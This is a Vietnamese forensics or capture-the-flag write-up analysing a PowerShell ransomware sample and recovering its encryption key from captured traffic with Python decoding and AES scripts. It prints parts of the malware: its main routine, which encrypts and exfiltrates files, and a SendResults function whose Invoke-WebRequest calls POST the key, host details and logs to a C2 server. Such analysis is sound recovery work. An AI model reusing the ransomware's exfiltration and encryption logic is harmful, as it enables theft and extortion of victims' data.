* Tìm tất cả các tệp bị mã hóa tức là có `extention` là `.enc` , loại bỏ thư mục, lấy đường dẫn đầy đủ , lấy mỗi tên tệp, mã hóa nội dung tệp bằng lệnh `$B64file = R64Encoder -f $i` , mã hóa tên tệp bằng lệnh `$B64Name = R64Encoder -t $Pfile` . Sau đó gửi nội dung tệp bị mã hóa đến `url` qua `HTTP POST` với `format` `"$7CiB$UFX/files/$B64Name"` . Nếu k có tệp bị mã hóa sẽ gửi đi một yêu cầu POST khác, với tên tệp là `"none.null"` đã được mã hóa `base64`
Mô tả chung
```
Hàm có tác dụng mã hóa tên file và nội dung theo thuật toán của "function R64Encoder" và sau đó gửi đi "url" bằng "HTTP POST"
```
6.Và hàm `main` ở cuối.
```python=
# Main
if ($Mode -eq "-d") {
Write-Host ; Write-Host "[!] Shutdowning...." -ForegroundColor Red; sleep 1 }
else {
Write-Host ;
Write-Host "[+] Checking communication with C2 Server.." -ForegroundColor Blue
$DCe = GetStatus ; sleep 1
$WiETm = -join ( (48..57) + (65..90) + (97..122) | Get-Random -Count 24 | % {[char]$_})
Write-Host "[!] Encrypting ..." -ForegroundColor Red
CreateReadme ; EncryptFiles ; if ($DCe) { SendResults ; sleep 1
if ($ENyR -eq "-x") { Write-Host "[i] Exfiltrating ..." -ForegroundColor Green
ExfiltrateFiles ; sleep 1 }}
if (!$DCe) { Write-Host "[+] Saving logs in yaginote.txt.." -ForegroundColor Blue }
else { Write-Host "[+] Sending logs to C2 Server.." -ForegroundColor Blue }}
if ($args -like "-demo") { RemoveWallpaper ; PopUpRansom
if ($PayNow -eq "True") { SendPay ; SendOK } else { SendClose ; SendOK }}
else { SendOK }
sleep 1000 ; Write-Host "[i] Done!" -ForegroundColor Green ; Write-Host
```
Chức năng chính của hàm main là
* Tạo khóa `$WiETm`
* Mã hóa các tệp `EncryptFiles`
* Cuối cùng là dùng hàm `ExfiltrateFiles` để lọc và gưir dữ liệu đi.
### Giải quyết
Nói chung thì chương trình sẽ tạo khóa ngẫu nhiên và mã hóa file, sau đó sẽ lọc và gửi lên `url`
Hiện tại từ hàm `main` và truy xuất từ các hàm trước chúng ta sẽ có thể tìm `key` ngược lại tiến trình. Ta có `key` chính là biến `$WiETm` gồm chữ [a-z][A-Z][0-9] và random 24 kí tự (đừng nghĩ bruteforce vì đến chết cũng chưa ra :>>>).
* Có 1 mẹo nhỏ là toi đã lưu code vào docs để tiện `ctrl + F`
Ta hãy tìm thử khóa `$WiETm` nào. Hmmmm, có thể ta có thể tìm ngược lại từ hàm `function SendResults`
```python=
function SendResults {
$cvf = Invoke-AESEncryption -Key $Uz19o -Text $WiETm ; $cVl = R64Encoder -t $cvf
$2YngY = "> $cVl > $OgE > $zVSza > $7VEq"
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "[!]" | Select-String "YagiRansom!" -NotMatch
$XoX = R64Encoder -t $2YngY ; $B64Logs = R64Encoder -t $RansomLogs
Invoke-WebRequest -useb "$7Ci B`:$UFX/data" -Method POST -Body $XoX 2>&1> $null
Invoke-WebRequest -useb "$7CiB`:$UFX/logs" -Method POST -Body $B64Logs 2>&1> $null }
```
Từ đây ta thấy khóa `$WiETm` chính là `plaintext` ban đầu của cội nguồn. Nó bị mã hóa và tạo ra `$cvf` mà `$cvf` lại bị mã hóa thành `$cVl` mà `$cVl` lại nằm trong `$2YngY` và lại bị mã hóa thành `$XoX` mà `$XoX` được gửi tới `HTTP POST` của `url` và tại `$UFX/data` , tới đây mò `trafic.pcapng` thôi :))

Thật may vì chúng ta có thể thấy nó ở đoạn đầu
```python=
POST /data HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-US) WindowsPowerShell/5.1.19041.1237
Content-Type: application/x-www-form-urlencoded
Host: 192.168.240.1:443
Content-Length: 188
0IzL5AzL5_DItASOwoDMwAiPgQmb2ZWMiBHZ18Gat4Wa3BiPgI3b0Fmc0NXaulWbkFGI+AiWsZ_TkRFaupFVaNjYqZ_akpnV0RmbWVnWy40VTJjSRJ2X1cFZHZVUlhlTtQmbOBFTxQWWShFawV1V5MVUtp0STRkWxFlaORkTHZkRWRUV4ZlVOp0VnBiPHTTP/1.1 200 OK
Content-Length: 69
Server: Microsoft-HTTPAPI/2.0
Date: Wed, 18 Sep 2024 17:09:37 GMT
<h1>It Works!</h1><p>This is the default web page for this server</p>
```
Đây chính là dữ liệu được gửi đi theo `HTTP POST` và `endpoint /data` và hiển nhiên đoạn `$XoX` chính là đoạn gửi đi trước `HTTP/1.1 200` vì đây là đoạn trả về.
```
=> $XoX = "0IzL5AzL5_DItASOwoDMwAiPgQmb2ZWMiBHZ18Gat4Wa3BiPgI3b0Fmc0NXaulWbkFGI+AiWsZ_TkRFaupFVaNjYqZ_akpnV0RmbWVnWy40VTJjSRJ2X1cFZHZVUlhlTtQmbOBFTxQWWShFawV1V5MVUtp0STRkWxFlaORkTHZkRWRUV4ZlVOp0VnBiP"
và $XoX = R64Encoder -t $2YngY
```
Vậy chúng ta chỉ cần viết script để decode lại để tìm `$2YngY` thoi.
```python=
#script
import base64
def reverse_r64_encoder(encoded_data):
reversed_data = encoded_data[::-1]
replaced_data = reversed_data.replace('-', 'C').replace('_', 'E')
padding = 4 - (len(replaced_data) % 4)
if padding < 4:
replaced_data += '=='
decoded_data = base64.b64decode(replaced_data)
return decoded_data
XoX = "0IzL5AzL5_DItASOwoDMwAiPgQmb2ZWMiBHZ18Gat4Wa3BiPgI3b0Fmc0NXaulWbkFGI+AiWsZ_TkRFaupFVaNjYqZ_akpnV0RmbWVnWy40VTJjSRJ2X1cFZHZVUlhlTtQmbOBFTxQWWShFawV1V5MVUtp0STRkWxFlaORkTHZkRWRUV4ZlVOp0VnBiP" # $XoX
decoded_output = reverse_r64_encoder(XoX) # $2YngY
print(decoded_output.decode('utf-8', errors='ignore'))
# => $2YngY = "> gWJNVVxUDVFFGNDNjQqZDSKJmQS9WUphXRYd1LPNnd-NXeQVGdW5_bQJ2SWN2ZuVndtVzdhFjb3ZTZnhTdLFlZ > administrator > win-ho5dpb1fvnd > 00:09 - 19/09/24"
```
Ta sẽ đảo ngược chuỗi lại và thay thế ngược lại các hàm `replace()` khi nãy và mã hóa base64 là xong.
```
Vì $2YngY = "> $cVl > $OgE > $zVSza > $7VEq"
và $2YngY = "> gWJNVVxUDVFFGNDNjQqZDSKJmQS9WUphXRYd1LPNnd-NXeQVGdW5_bQJ2SWN2ZuVndtVzdhFjb3ZTZnhTdLFlZ > administrator > win-ho5dpb1fvnd > 00:09 - 19/09/24"
nên ta có thể suy ra :
$cVl = "gWJNVVxUDVFFGNDNjQqZDSKJmQS9WUphXRYd1LPNnd-NXeQVGdW5_bQJ2SWN2ZuVndtVzdhFjb3ZTZnhTdLFlZ"
$OgE = "administrator"
$zVSza = "win-ho5dpb1fvnd"
$7VEq = "00:09 - 19/09/24"
```
Bước tiếp theo của chúng ta đó là tìm `$cvf` từ `$cVl = R64Encoder -t $cvf` và cũng như script trên ta có thể sử dụng lại
```python=
#script
import base64
def reverse_r64_encoder(encoded_data):
reversed_data = encoded_data[::-1]
replaced_data = reversed_data.replace('-', 'C').replace('_', 'E')
padding = 4 - (len(replaced_data) % 4)
if padding < 4:
replaced_data += '=='
decoded_data = base64.b64decode(replaced_data)
return decoded_data
cVl = "gWJNVVxUDVFFGNDNjQqZDSKJmQS9WUphXRYd1LPNnd-NXeQVGdW5_bQJ2SWN2ZuVndtVzdhFjb3ZTZnhTdLFlZ" # $cVl
decoded_output = reverse_r64_encoder(cVl) # $cvf
print(decoded_output.decode('utf-8', errors='ignore'))
# $cvf = "fQKu8ge6wn1aw5mvungcVKbPlNVtePysBvsO/WXExiQoRBbJH6jB3C4aET51USIZ"
```
Tiếp theo ta có
```
$cvf = "fQKu8ge6wn1aw5mvungcVKbPlNVtePysBvsO/WXExiQoRBbJH6jB3C4aET51USIZ"
và $cvf = Invoke-AESEncryption -Key $Uz19o -Text $WiETm
```
Đến đây chúng ta cần tìm key là `$WiETm` nhưng ở đây ta cần phải tìm key cho mã hóa này trước đã, đó là `$Uz19o` . Hmmm, tiếp tục search thoi!!! Và kết quả là

```
$Uz19o = $7VEq.replace(":","").replace(" ","").replace("-","").replace("/","")+$zVSza+$OgE
```
Mọi thứ đã có hết rồi, bắt tay tìm `$Uz19o`
```python=
#scrypt
VEq = "00:09 - 19/09/24" # $7VEq
zVSza = "win-ho5dpb1fvnd" # $zVSza
OgE = "administrator" # $OgE
Uz19o = VEq.replace(":", "").replace(" ", "").replace("-", "").replace("/", "") + zVSza + OgE
print(Uz19o)
# $Uz19o = "0009190924win-ho5dpb1fvndadministrator"
```
Khi đã có `$Uz19o` thì ta bắt tay vào tìm luôn `$WiETm`
```python=
#script
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import base64
def aes_decrypt(encrypted_text, key):
key_hash = SHA256.new(key.encode('utf-8')).digest()
encrypted_bytes = base64.b64decode(encrypted_text)
iv = encrypted_bytes[:16]
cipher_text = encrypted_bytes[16:]
cipher = AES.new(key_hash, AES.MODE_CBC, iv)
decrypted_bytes = cipher.decrypt(cipher_text)
pad_len = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-pad_len]
return decrypted_bytes.decode('utf-8')
cvf = "fQKu8ge6wn1aw5mvungcVKbPlNVtePysBvsO/WXExiQoRBbJH6jB3C4aET51USIZ" # $cvf
Uz19o = "0009190924win-ho5dpb1fvndadministrator" # keytmp
WiETm = aes_decrypt(cvf, Uz19o) # $WiETm
print(WiETm)
# $WiETm = "YaMfem0zr4jdiZsDUxv1TH69"
```
Vậy `key` quan trọng nhất đã tìm thấy `$WiETm = "YaMfem0zr4jdiZsDUxv1TH69"`
Còn part 2 [tại đây](https://hackmd.io/@klUU3ZmHScmNo-ZMWDz53Q/SJnH9vW1Je#NOTE).